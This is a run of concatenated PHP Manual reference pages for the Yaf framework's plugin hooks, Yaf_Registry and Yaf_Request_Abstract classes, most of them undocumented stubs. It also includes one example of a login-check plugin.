  • Yaf_Plugin_Abstract::dispatchLoopStartup — The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose
  • Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose
  • Yaf_Plugin_Abstract::preResponse — The preResponse purpose
  • Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose
  • Yaf_Plugin_Abstract::routerStartup — RouterStartup hook

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Loader::__wakeup
Yaf_Plugin_Abstract::dispatchLoopShutdown
Yaf


The dispatchLoopShutdown purpose

Yaf_Plugin_Abstract
Yaf_Plugin_Abstract::dispatchLoopStartup
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::dispatchLoopShutdown

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopShutdown — The dispatchLoopShutdown purpose

Description

public void Yaf_Plugin_Abstract::dispatchLoopShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

This is the latest hook in Yaf plugin hook system, if a custom plugin implement this method, then it will be called after the dispatch loop finished.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

See Also

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup hook
  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract
Yaf_Plugin_Abstract::dispatchLoopStartup
Yaf_Plugin_Abstract


The dispatchLoopStartup purpose

Yaf_Plugin_Abstract::dispatchLoopShutdown
Yaf_Plugin_Abstract::postDispatch
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::dispatchLoopStartup

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::dispatchLoopStartup — The dispatchLoopStartup purpose

Description

public void Yaf_Plugin_Abstract::dispatchLoopStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::dispatchLoopShutdown
Yaf_Plugin_Abstract::postDispatch
Yaf_Plugin_Abstract


The postDispatch purpose

Yaf_Plugin_Abstract::dispatchLoopStartup
Yaf_Plugin_Abstract::preDispatch
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::postDispatch

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::postDispatch — The postDispatch purpose

Description

public void Yaf_Plugin_Abstract::postDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::dispatchLoopStartup
Yaf_Plugin_Abstract::preDispatch
Yaf_Plugin_Abstract


The preDispatch purpose

Yaf_Plugin_Abstract::postDispatch
Yaf_Plugin_Abstract::preResponse
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::preDispatch

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::preDispatch — The preDispatch purpose

Description

public void Yaf_Plugin_Abstract::preDispatch ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::postDispatch
Yaf_Plugin_Abstract::preResponse
Yaf_Plugin_Abstract


The preResponse purpose

Yaf_Plugin_Abstract::preDispatch
Yaf_Plugin_Abstract::routerShutdown
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::preResponse

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::preResponse — The preResponse purpose

Description

public void Yaf_Plugin_Abstract::preResponse ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::preDispatch
Yaf_Plugin_Abstract::routerShutdown
Yaf_Plugin_Abstract


The routerShutdown purpose

Yaf_Plugin_Abstract::preResponse
Yaf_Plugin_Abstract::routerStartup
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::routerShutdown

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::routerShutdown — The routerShutdown purpose

Description

public void Yaf_Plugin_Abstract::routerShutdown ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

This hook will be trigged after the route process finished, this hook is usually used for login check.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

Examples

Example #1 Yaf_Plugin_Abstract::routerShutdown()example

<?php
class UserInitPlugin extends Yaf_Plugin_Abstract {

    public function routerShutdown(Yaf_Request_Abstract $request, Yaf_Response_Abstract $response) {
        $controller = $request->getControllerName();

        /**
         * Use access controller is unecessary for APIs
         */
        if (in_array(strtolower($controller), array(
            'api',
        ))) {
            return TRUE;
        }

        if (Yaf_Session::getInstance()->has("login")) {
            return TRUE;
        }

        /* Use access check failed, need to login */
        $response->redirect("http://yourdomain.com/login/");
        return FALSE;
    }
?>

See Also

  • Yaf_Plugin_Abstract::routerStartup() - RouterStartup hook
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::preResponse
Yaf_Plugin_Abstract::routerStartup
Yaf_Plugin_Abstract


RouterStartup hook

Yaf_Plugin_Abstract::routerShutdown
Yaf_Registry
Yaf_Plugin_Abstract
PHP Manual

Yaf_Plugin_Abstract::routerStartup

(PECL yaf >=1.0.0)

Yaf_Plugin_Abstract::routerStartup — RouterStartup hook

Description

public void Yaf_Plugin_Abstract::routerStartup ( Yaf_Request_Abstract $request , Yaf_Response_Abstract $response )

This is the earliest hook in Yaf plugin hook system, if a custom plugin implement this method, then it will be called before routing a request.

Warning

This function is currently not documented; only its argument list is available.

Parameters

request

response

Return Values

See Also

  • Yaf_Plugin_Abstract::routerShutdown() - The routerShutdown purpose
  • Yaf_Plugin_Abstract::dispatchLoopStartup() - The dispatchLoopStartup purpose
  • Yaf_Plugin_Abstract::preDispatch() - The preDispatch purpose
  • Yaf_Plugin_Abstract::postDispatch() - The postDispatch purpose
  • Yaf_Plugin_Abstract::dispatchLoopShutdown() - The dispatchLoopShutdown purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::routerShutdown
Yaf_Registry
Yaf_Plugin_Abstract


The Yaf_Registry class

(No version information available, might only be in SVN)

Introduction

All methods of Yaf_Registry declared as static, making it unversally accessible. This provides the ability to get or set any custom data from anyway in your code as necessary.

Class synopsis

Yaf_Registry {
/* Properties */
static $_instance ;
protected $_entries ;
/* Methods */
private void __clone ( void )
__construct ( void )
public static void del ( string $name )
public static void get ( string $name )
public static void has ( string $name )
public static void set ( string $name , string $value )
}

Properties

_instance

_entries

Table of Contents

  • Yaf_Registry::__clone — The __clone purpose
  • Yaf_Registry::__construct — The __construct purpose
  • Yaf_Registry::del — The del purpose
  • Yaf_Registry::get — The get purpose
  • Yaf_Registry::has — The has purpose
  • Yaf_Registry::set — The set purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Plugin_Abstract::routerStartup
Yaf_Registry::__clone
Yaf


The __clone purpose

Yaf_Registry
Yaf_Registry::__construct
Yaf_Registry
PHP Manual

Yaf_Registry::__clone

(PECL yaf >=1.0.0)

Yaf_Registry::__clone — The __clone purpose

Description

private void Yaf_Registry::__clone ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry
Yaf_Registry::__construct
Yaf_Registry


The __construct purpose

Yaf_Registry::__clone
Yaf_Registry::del
Yaf_Registry
PHP Manual

Yaf_Registry::__construct

(PECL yaf >=1.0.0)

Yaf_Registry::__construct — The __construct purpose

Description

Yaf_Registry::__construct ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry::__clone
Yaf_Registry::del
Yaf_Registry


The del purpose

Yaf_Registry::__construct
Yaf_Registry::get
Yaf_Registry
PHP Manual

Yaf_Registry::del

(PECL yaf >=1.0.0)

Yaf_Registry::del — The del purpose

Description

public static void Yaf_Registry::del ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry::__construct
Yaf_Registry::get
Yaf_Registry


The get purpose

Yaf_Registry::del
Yaf_Registry::has
Yaf_Registry
PHP Manual

Yaf_Registry::get

(PECL yaf >=1.0.0)

Yaf_Registry::get — The get purpose

Description

public static void Yaf_Registry::get ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry::del
Yaf_Registry::has
Yaf_Registry


The has purpose

Yaf_Registry::get
Yaf_Registry::set
Yaf_Registry
PHP Manual

Yaf_Registry::has

(PECL yaf >=1.0.0)

Yaf_Registry::has — The has purpose

Description

public static void Yaf_Registry::has ( string $name )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry::get
Yaf_Registry::set
Yaf_Registry


The set purpose

Yaf_Registry::has
Yaf_Request_Abstract
Yaf_Registry
PHP Manual

Yaf_Registry::set

(PECL yaf >=1.0.0)

Yaf_Registry::set — The set purpose

Description

public static void Yaf_Registry::set ( string $name , string $value )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry::has
Yaf_Request_Abstract
Yaf_Registry


The Yaf_Request_Abstract class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Request_Abstract {
/* Constants */
const string SCHEME_HTTP = http ;
const string SCHEME_HTTPS = https ;
/* Properties */
public $module ;
public $controller ;
public $action ;
public $method ;
protected $params ;
protected $language ;
protected $_exception ;
protected $_base_uri ;
protected $uri ;
protected $dispatched ;
protected $routed ;
/* Methods */
public void getActionName ( void )
public void getBaseUri ( void )
public void getControllerName ( void )
public void getEnv ( string $name [, string $default ] )
public void getException ( void )
public void getLanguage ( void )
public void getMethod ( void )
public void getModuleName ( void )
public void getParam ( string $name [, string $default ] )
public void getParams ( void )
public void getRequestUri ( void )
public void getServer ( string $name [, string $default ] )
public void isCli ( void )
public void isDispatched ( void )
public void isGet ( void )
public void isHead ( void )
public void isOptions ( void )
public void isPost ( void )
public void isPut ( void )
public void isRouted ( void )
public void isXmlHttpRequest ( void )
public void setActionName ( string $action )
public void setBaseUri ( string $uir )
public void setControllerName ( string $controller )
public void setDispatched ( void )
public void setModuleName ( string $module )
public void setParam ( string $name [, string $value ] )
public void setRequestUri ( string $uir )
public void setRouted ([ string $flag ] )
}

Properties

module

controller

action

method

params

language

_exception

_base_uri

uri

dispatched

routed

Predefined Constants

Yaf_Request_Abstract::SCHEME_HTTP

Yaf_Request_Abstract::SCHEME_HTTPS

Table of Contents

  • Yaf_Request_Abstract::getActionName — The getActionName purpose
  • Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose
  • Yaf_Request_Abstract::getControllerName — The getControllerName purpose
  • Yaf_Request_Abstract::getEnv — The getEnv purpose
  • Yaf_Request_Abstract::getException — The getException purpose
  • Yaf_Request_Abstract::getLanguage — The getLanguage purpose
  • Yaf_Request_Abstract::getMethod — The getMethod purpose
  • Yaf_Request_Abstract::getModuleName — The getModuleName purpose
  • Yaf_Request_Abstract::getParam — The getParam purpose
  • Yaf_Request_Abstract::getParams — The getParams purpose
  • Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose
  • Yaf_Request_Abstract::getServer — The getServer purpose
  • Yaf_Request_Abstract::isCli — The isCli purpose
  • Yaf_Request_Abstract::isDispatched — The isDispatched purpose
  • Yaf_Request_Abstract::isGet — The isGet purpose
  • Yaf_Request_Abstract::isHead — The isHead purpose
  • Yaf_Request_Abstract::isOptions — The isOptions purpose
  • Yaf_Request_Abstract::isPost — The isPost purpose
  • Yaf_Request_Abstract::isPut — The isPut purpose
  • Yaf_Request_Abstract::isRouted — The isRouted purpose
  • Yaf_Request_Abstract::isXmlHttpRequest — The isXmlHttpRequest purpose
  • Yaf_Request_Abstract::setActionName — The setActionName purpose
  • Yaf_Request_Abstract::setBaseUri — The setBaseUri purpose
  • Yaf_Request_Abstract::setControllerName — The setControllerName purpose
  • Yaf_Request_Abstract::setDispatched — The setDispatched purpose
  • Yaf_Request_Abstract::setModuleName — The setModuleName purpose
  • Yaf_Request_Abstract::setParam — The setParam purpose
  • Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose
  • Yaf_Request_Abstract::setRouted — The setRouted purpose

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Registry::set
Yaf_Request_Abstract::getActionName
Yaf


The getActionName purpose

Yaf_Request_Abstract
Yaf_Request_Abstract::getBaseUri
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getActionName

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getActionName — The getActionName purpose

Description

public void Yaf_Request_Abstract::getActionName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract
Yaf_Request_Abstract::getBaseUri
Yaf_Request_Abstract


The getBaseUri purpose

Yaf_Request_Abstract::getActionName
Yaf_Request_Abstract::getControllerName
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getBaseUri

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getBaseUri — The getBaseUri purpose

Description

public void Yaf_Request_Abstract::getBaseUri ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getActionName
Yaf_Request_Abstract::getControllerName
Yaf_Request_Abstract


The getControllerName purpose

Yaf_Request_Abstract::getBaseUri
Yaf_Request_Abstract::getEnv
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getControllerName

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getControllerName — The getControllerName purpose

Description

public void Yaf_Request_Abstract::getControllerName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getBaseUri
Yaf_Request_Abstract::getEnv
Yaf_Request_Abstract


The getEnv purpose

Yaf_Request_Abstract::getControllerName
Yaf_Request_Abstract::getException
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getEnv

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getEnv — The getEnv purpose

Description

public void Yaf_Request_Abstract::getEnv ( string $name [, string $default ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

default

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getControllerName
Yaf_Request_Abstract::getException
Yaf_Request_Abstract


The getException purpose

Yaf_Request_Abstract::getEnv
Yaf_Request_Abstract::getLanguage
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getException

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getException — The getException purpose

Description

public void Yaf_Request_Abstract::getException ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getEnv
Yaf_Request_Abstract::getLanguage
Yaf_Request_Abstract


The getLanguage purpose

Yaf_Request_Abstract::getException
Yaf_Request_Abstract::getMethod
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getLanguage

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getLanguage — The getLanguage purpose

Description

public void Yaf_Request_Abstract::getLanguage ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getException
Yaf_Request_Abstract::getMethod
Yaf_Request_Abstract


The getMethod purpose

Yaf_Request_Abstract::getLanguage
Yaf_Request_Abstract::getModuleName
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getMethod

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getMethod — The getMethod purpose

Description

public void Yaf_Request_Abstract::getMethod ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getLanguage
Yaf_Request_Abstract::getModuleName
Yaf_Request_Abstract


The getModuleName purpose

Yaf_Request_Abstract::getMethod
Yaf_Request_Abstract::getParam
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getModuleName

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getModuleName — The getModuleName purpose

Description

public void Yaf_Request_Abstract::getModuleName ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getMethod
Yaf_Request_Abstract::getParam
Yaf_Request_Abstract


The getParam purpose

Yaf_Request_Abstract::getModuleName
Yaf_Request_Abstract::getParams
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getParam

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getParam — The getParam purpose

Description

public void Yaf_Request_Abstract::getParam ( string $name [, string $default ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

default

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getModuleName
Yaf_Request_Abstract::getParams
Yaf_Request_Abstract


The getParams purpose

Yaf_Request_Abstract::getParam
Yaf_Request_Abstract::getRequestUri
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getParams

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getParams — The getParams purpose

Description

public void Yaf_Request_Abstract::getParams ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getParam
Yaf_Request_Abstract::getRequestUri
Yaf_Request_Abstract


The getRequestUri purpose

Yaf_Request_Abstract::getParams
Yaf_Request_Abstract::getServer
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getRequestUri

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getRequestUri — The getRequestUri purpose

Description

public void Yaf_Request_Abstract::getRequestUri ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getParams
Yaf_Request_Abstract::getServer
Yaf_Request_Abstract


The getServer purpose

Yaf_Request_Abstract::getRequestUri
Yaf_Request_Abstract::isCli
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::getServer

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::getServer — The getServer purpose

Description

public void Yaf_Request_Abstract::getServer ( string $name [, string $default ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

default

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getRequestUri
Yaf_Request_Abstract::isCli
Yaf_Request_Abstract


The isCli purpose

Yaf_Request_Abstract::getServer
Yaf_Request_Abstract::isDispatched
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isCli

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isCli — The isCli purpose

Description

public void Yaf_Request_Abstract::isCli ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::getServer
Yaf_Request_Abstract::isDispatched
Yaf_Request_Abstract


The isDispatched purpose

Yaf_Request_Abstract::isCli
Yaf_Request_Abstract::isGet
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isDispatched

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isDispatched — The isDispatched purpose

Description

public void Yaf_Request_Abstract::isDispatched ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isCli
Yaf_Request_Abstract::isGet
Yaf_Request_Abstract


The isGet purpose

Yaf_Request_Abstract::isDispatched
Yaf_Request_Abstract::isHead
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isGet

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isGet — The isGet purpose

Description

public void Yaf_Request_Abstract::isGet ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isDispatched
Yaf_Request_Abstract::isHead
Yaf_Request_Abstract


The isHead purpose

Yaf_Request_Abstract::isGet
Yaf_Request_Abstract::isOptions
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isHead

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isHead — The isHead purpose

Description

public void Yaf_Request_Abstract::isHead ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isGet
Yaf_Request_Abstract::isOptions
Yaf_Request_Abstract


The isOptions purpose

Yaf_Request_Abstract::isHead
Yaf_Request_Abstract::isPost
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isOptions

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isOptions — The isOptions purpose

Description

public void Yaf_Request_Abstract::isOptions ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isHead
Yaf_Request_Abstract::isPost
Yaf_Request_Abstract


The isPost purpose

Yaf_Request_Abstract::isOptions
Yaf_Request_Abstract::isPut
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isPost

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isPost — The isPost purpose

Description

public void Yaf_Request_Abstract::isPost ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isOptions
Yaf_Request_Abstract::isPut
Yaf_Request_Abstract


The isPut purpose

Yaf_Request_Abstract::isPost
Yaf_Request_Abstract::isRouted
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isPut

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isPut — The isPut purpose

Description

public void Yaf_Request_Abstract::isPut ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isPost
Yaf_Request_Abstract::isRouted
Yaf_Request_Abstract


The isRouted purpose

Yaf_Request_Abstract::isPut
Yaf_Request_Abstract::isXmlHttpRequest
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isRouted

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isRouted — The isRouted purpose

Description

public void Yaf_Request_Abstract::isRouted ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isPut
Yaf_Request_Abstract::isXmlHttpRequest
Yaf_Request_Abstract


The isXmlHttpRequest purpose

Yaf_Request_Abstract::isRouted
Yaf_Request_Abstract::setActionName
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::isXmlHttpRequest

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::isXmlHttpRequest — The isXmlHttpRequest purpose

Description

public void Yaf_Request_Abstract::isXmlHttpRequest ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isRouted
Yaf_Request_Abstract::setActionName
Yaf_Request_Abstract


The setActionName purpose

Yaf_Request_Abstract::isXmlHttpRequest
Yaf_Request_Abstract::setBaseUri
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setActionName

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setActionName — The setActionName purpose

Description

public void Yaf_Request_Abstract::setActionName ( string $action )

Warning

This function is currently not documented; only its argument list is available.

Parameters

action

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::isXmlHttpRequest
Yaf_Request_Abstract::setBaseUri
Yaf_Request_Abstract


The setBaseUri purpose

Yaf_Request_Abstract::setActionName
Yaf_Request_Abstract::setControllerName
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setBaseUri

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setBaseUri — The setBaseUri purpose

Description

public void Yaf_Request_Abstract::setBaseUri ( string $uir )

Warning

This function is currently not documented; only its argument list is available.

Parameters

uir

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setActionName
Yaf_Request_Abstract::setControllerName
Yaf_Request_Abstract


The setControllerName purpose

Yaf_Request_Abstract::setBaseUri
Yaf_Request_Abstract::setDispatched
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setControllerName

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setControllerName — The setControllerName purpose

Description

public void Yaf_Request_Abstract::setControllerName ( string $controller )

Warning

This function is currently not documented; only its argument list is available.

Parameters

controller

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setBaseUri
Yaf_Request_Abstract::setDispatched
Yaf_Request_Abstract


The setDispatched purpose

Yaf_Request_Abstract::setControllerName
Yaf_Request_Abstract::setModuleName
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setDispatched

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setDispatched — The setDispatched purpose

Description

public void Yaf_Request_Abstract::setDispatched ( void )

Warning

This function is currently not documented; only its argument list is available.

Parameters

This function has no parameters.

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setControllerName
Yaf_Request_Abstract::setModuleName
Yaf_Request_Abstract


The setModuleName purpose

Yaf_Request_Abstract::setDispatched
Yaf_Request_Abstract::setParam
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setModuleName

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setModuleName — The setModuleName purpose

Description

public void Yaf_Request_Abstract::setModuleName ( string $module )

Warning

This function is currently not documented; only its argument list is available.

Parameters

module

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setDispatched
Yaf_Request_Abstract::setParam
Yaf_Request_Abstract


The setParam purpose

Yaf_Request_Abstract::setModuleName
Yaf_Request_Abstract::setRequestUri
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setParam

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setParam — The setParam purpose

Description

public void Yaf_Request_Abstract::setParam ( string $name [, string $value ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

name

value

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setModuleName
Yaf_Request_Abstract::setRequestUri
Yaf_Request_Abstract


The setRequestUri purpose

Yaf_Request_Abstract::setParam
Yaf_Request_Abstract::setRouted
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setRequestUri

(PECL yaf >=2.1.0)

Yaf_Request_Abstract::setRequestUri — The setRequestUri purpose

Description

public void Yaf_Request_Abstract::setRequestUri ( string $uir )

Warning

This function is currently not documented; only its argument list is available.

Parameters

uir

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setParam
Yaf_Request_Abstract::setRouted
Yaf_Request_Abstract


The setRouted purpose

Yaf_Request_Abstract::setRequestUri
Yaf_Request_Http
Yaf_Request_Abstract
PHP Manual

Yaf_Request_Abstract::setRouted

(PECL yaf >=1.0.0)

Yaf_Request_Abstract::setRouted — The setRouted purpose

Description

public void Yaf_Request_Abstract::setRouted ([ string $flag ] )

Warning

This function is currently not documented; only its argument list is available.

Parameters

flag

Return Values

User Contributed Notes

There are no user contributed notes for this page.
Yaf_Request_Abstract::setRequestUri
Yaf_Request_Http
Yaf_Request_Abstract


The Yaf_Request_Http class

(No version information available, might only be in SVN)

Introduction

Class synopsis

Yaf_Request_Http extends Yaf_Request_Abstract {
/* Properties */
/* Methods */
private void __clone ( void )
__construct ( void )
public void get ( void )
public void getCookie ( void )
public void getFiles ( void )
public void getPost ( void )
public void getQuery ( void )
public void getRequest ( void )
public void isXmlHttpRequest ( void )
/* Inherited methods */
public void Yaf_Request_Abstract::getActionName ( void )
public void Yaf_Request_Abstract::getBaseUri ( void )
public void Yaf_Request_Abstract::getControllerName ( void )
public void Yaf_Request_Abstract::getEnv ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getException ( void )
public void Yaf_Request_Abstract::getLanguage ( void )
public void Yaf_Request_Abstract::getMethod ( void )
public void Yaf_Request_Abstract::getModuleName ( void )
public void Yaf_Request_Abstract::getParam ( string $name [, string $default ] )
public void Yaf_Request_Abstract::getParams ( void )
public void Yaf_Request_Abstract::getRequestUri ( void )
